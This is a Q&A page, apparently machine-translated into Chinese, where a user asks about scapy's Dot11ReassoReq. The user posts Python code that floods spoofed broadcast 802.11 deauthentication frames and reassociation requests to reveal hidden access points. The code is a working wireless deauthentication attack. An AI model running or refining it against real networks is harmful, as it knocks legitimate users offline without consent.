斯皮多特11Reasoreq

2024-06-28 18:52:51 发布

您现在位置:Python中文网/ 问答频道 /正文

什么是scapy的dot11reasoreq,它做什么?对于我的目的来说,这听起来确实很理想:我想制作一个工具(其中之一)搜索隐藏的ap。目前我的代码:

def tickle(*args,**kwargs):
    packs1=[]
    packs2=[]
    for client in appinstance.sframe.interior.clients.copy():
        pkt=Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=client,addr3=client)/\
             Dot11Deauth()
        packs1.append(pkt)
    for client in appinstance.sframe.interior.clients.copy():
        pkt=Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=client,addr3=client)/\
             Dot11ReassoReq(current_AP=client)
        packs2.append(pkt)
    packs1*=32
    shuffle(packs1)
    packs2*=32
    shuffle(packs2)
    packs=packs1+packs2
    appinstance.stopprogressbar()
    appinstance.startprogressbardet(len(packs),
                                       "Trying to expose hidden AP's")
    for pkt in packs:
        send(pkt,verbose=0)
        appinstance.progressbar.step()
    appinstance.stopprogressbar()

然而,Wireshark报告说这些重新分配的数据包是无效的。为什么,我应该使用什么数据包让客户端在Deauth包之后重新连接?在


Tags: inclientforclientsffcopypktinterior